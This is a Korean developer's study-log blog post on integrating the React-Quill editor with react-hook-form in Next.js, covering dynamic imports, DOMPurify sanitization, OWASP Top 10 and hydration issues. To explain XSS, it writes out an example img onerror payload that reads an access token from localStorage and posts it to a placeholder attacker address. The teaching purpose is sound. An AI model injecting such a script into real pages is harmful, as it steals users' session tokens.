2023. 4. 19

Junghan Lee·2023년 4월 19일
0

TIL Diary

목록 보기
38/52

Index

웹에디터(React-quill), react-hook-form과 함께 사용, 크로스 사이트 스크립트, OWASP TOP 10, Hydration Issue

웹 에디터 (React-quill)

게시물 등록 페이지 : 작성자, 내용 담는 부분 필요 (input, textarea)

textarea태그에서 줄바꿈으로 내용 입력 후 글을 등록했을 때 가져온 데이터?

textarea는 줄바꿈에 대한 결과를 따로 처리해야 함.

이외에도 더 중요한 부분을 표시하거나 폰트에 색깔을 추가하는 등의 스타일 지정이 필요할 수도 있는데

이를 돕는 라이브러리가 React-quill 웹 에디터 라이브러리이다.

▼ React-Quill Docs 페이지
https://www.npmjs.com/package/react-quill

💡 React-Quill 이외에도 React Draft Wysiwyg, TOAST UI Editor 등의 웹 에디터 라이브러리가 널리 쓰이고 있다.

웹 에디터 적용

yarn add react-quill

웹 에디터를 추가하고자 하는 페이지의 최상단에 ReactQuill 호출, ReactQuill에서 사용될 스타일 CSS파일까지 함께 호출해 스타일 함께 적용

import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow.css';

웹 에디터 사용하고싶은 부분에 따로 리액트퀼 태그를 입력해 웹 에디터를 사용할 수도 있다.


ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소다. 이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념이다.


이런 페이지가 뜨는 것은 Next.js 프로젝트를 사용하지 않을 경우 생기는 오류

서버사이드 렌더링 문제(미리 렌더링하는 단계에서 window or document 존재하지 않음)

서버에서 페이지를 미리 렌더링하는 단계 : pre-rendering

document가 선언된 시점 이후에 React-quill을 import하면 문제 해결! Next.js의 dynamic import 방식을 사용해 이를 수행할 수 있다.

Next.js에서 제공하는 다이나믹은 해당 모듈을 호출하는 시점을 document에 대한 정보가 선언된 후의 시점으로 옮겨 호출할 수 있게 도와준다.

즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출해 이미 document가 선언되어 있는 시점의 환경을 제공해줄 수 있다.

코드 스플리팅 : 위와 같은 다이나믹 임포트는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능 최적화에도 기여한다. 반드시 다운받지 않아도 되는 부분은 이를 사용해 필요한 시점에 다운받을 수 있도록 하면 로딩 속도가 향상되기 때문이다.

React-hook-form과 함께 사용

import { useForm } from "react-hook-form";

// import ReactQuill from "react-quill"; // 다이나믹 임포트로 변경하기 !
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

export default function WebEditorPage() {
  const { register } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);
  };

  // if (process.browser) {
  //   console.log("나는 브라우저다 !!");
  // } else {
  //   console.log("나는 프론트엔드 서버다 !!");
  // }

  return (
    <div>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}

onChange요소가 들어간 reactQuill이라는 컴포넌트에는 register가 적용되지 않는다. 그럼 어떻게 useForm이 contents에 입력된 데이터까지 인식하도록 할 수 있나?

setValue 요소를 이용해 react-hook-form의 contents라는 공간에 강제로 값을 집어넣으면 된다!

const { register, setValue} = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value);
  };

조건부 렌더링을 이용해 React-Quill이 입력되었다 지워졌을 때 남는 찌꺼기도 없앤다.

const { register, setValue } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);
  };

여기까지 진행하면 웹 에디터에 입력된 값이 콘솔에 정상적으로 찍힌다.
그러나 값만 변경되었을 뿐, contents의 입력 여부는 검증할 수 없다.
따라서 React-Quill에서 제공하는 trigger 요소를 이용해 onChange 여부를 강제로 변경해주어야 한다.

const { register, setValue, trigger } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

React-Quill에 입력된 값이 react-hook-form에 동일하게 들어가고, 입력 여부도 검증할 수 있게 된다.

react-hook-form을 이용해 게시글 등록

웹 에디터와 리액트 훅 폼을 이용해 입력한 내용을 게시글로 등록해 보자.

먼저 만들어 놓은 입력 태그들을 form으로 감싸고 여기에 onSubmit요소를 더한다.

export default function WebEditorPage() {
  const router = useRouter();
  const { register, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  return (
    <form onSubmit={}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

react-hook-form의 handleSubmit을 이용해서

submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣는다.

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = (data: IFormValues) => {
		// form submit시 실행할 함수
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

해당 함수 안에 createBoard 요청을 넣고 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해준다.

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = async (data: IFormValues) => {
    if (!(data.writer && data.password && data.title && data.contents)) {
      Modal.warning({ content: "필수 입력 사항입니다." });
      return;
    }

    try {
      const result = await createBoard({
        variables: {
          createBoardInput: {
            writer: data.writer,
            password: data.password,
            title: data.title,
            contents: data.contents,
          },
        },
      });
			// 완료된 페이지로 이동!!
      router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
    } catch (error) {
      if (error instanceof Error) Modal.error({ title: error.message });
    }
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

다이나믹 라우팅으로 연결된 경로로 이동해 상세 페이지를 다음과 같이 만들어준다.

import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
  IQuery,
  IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";

const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div>내용: {data?.fetchBoard.contents}</div>
    </div>
  );
}

웹 에디터로 등록한 게시글 보여주기

입력된 웹 에디터의 내용을 화면에 출력해 보자.


게시글 등록 요청을 하면 상세 페이지에서 HTML 태그가 포함된 내용이 들어온다.

웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력된다.

따라서 HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태로 화면에 출력해야 한다.

그러나 React 프로젝트에서는 기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입할 수 없다.

그럼에도 HTML 태그를 사용하고자 한다면?

<div dangerouslySetInnerHTML={{ __html :  HTML 태그 추가  }} />

dangerouslySetInnerHTML 는 div 또는 span 태그에 제공되는 속성인데,

위험을 감수하고 HTML태그를 추가하고 싶다면 추가해라 라는 의미를 담고 있다.

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}

div 및 span 태그로 dangerouslySetInnerHTML 를 사용한다면
반드시 빈 태그 형식으로 작성해야 한다.

크로스 사이트 스크립트

dangerouslySetInnerHTML은 위험의 소지가 너무 크다.

<img src="http://images.png" />

이런 이미지 태그에 onerror라는 속성을 더해 해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있기 때문이다.

‼️ onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소 일반적으로는 대체 이미지 경로를 입력한다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.

예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있다.

예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 한다.

이러한 공격을 방어하기 위해서는 위와 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리를 이용하면 된다.

DOMPurify 설치

yarn add dompurify
yarn add -D @types/dompurify

https://www.npmjs.com/package/dompurify

<div
	dangerouslySetInnerHTML={{
		__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
	}}
/>

이런 식으로 작성하면 되는데 정작 이렇게 작성하면 서버사이드 렌더링 에러가 발생하므로 조건부 렌더링을 추가해야 한다.

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}

OWASP TOP 10

지금까지 알아본 크로스 사이트 스크립트처럼 웹에는 여러 종류의 공격들이 있다. 공격이 점점 고도화되는 만큼 사람들도 보안에 신경을 많이 쓰게 되었다.

OWASPOpen Web Application Security Project의 약자로 **오픈소스 웹 애플리케이션 보안 프로젝트** 이다.

주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 된다.

https://owasp.org/Top10/

‼️ A01 : Broken Access Control (접근 권한 취약점)
A02 : Cryptographic Failures (암호화 오류)
A03: Injection (인젝션)
A04: Insecure Design (안전하지 않은 설계)
A05: Security Misconfiguration (보안설정오류)
A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
A07: Identification and Authentication Failures (식별 및 인증 오류)
A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
A10: Server-Side Request Forgery (서버 측 요청 위조)

매년OWASP 상위권을 유지하는 것 중 하나가 Injection 이다.

SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데, 이 조건을 직접 조작하여 공격하는 기법으로 현재는 이것을 ORM을 사용해 막고 있다.

그 외 여러 공격들이 있으며 OWASP 발표에서 내용을 더 상세히 확인 할 수 있다.

Hydration Issue

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser && (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

yarn dev 해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인데 이는 hydration issue 때문이다.


Next.js가 페이지를 그리는 과정은 위와 같은데 diffing 단계에서 태그를 기준으로 비교하기 때문에 프론트 서버에서 pre-rendering된 결과물과 브라우저에서 그려진 결과물의 태그 구조가 다를 경우 CSS 코드가 다르게 적용된다.

따라서 브라우저에서만 렌더링되는 태그가 있으면 삼항 연산자를 이용해 프론트에서도 빈 태그가 들어가 있도록 만들어야 한다.

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser ? (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		) : (
			<div style={{color: "green"}} />
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

이러면 오류가 생기지 않는다.

프리렌더링시의 CSS순서와 본 렌더링시의 순서가 달라서 생기는 오류

profile
Strive for greatness

0개의 댓글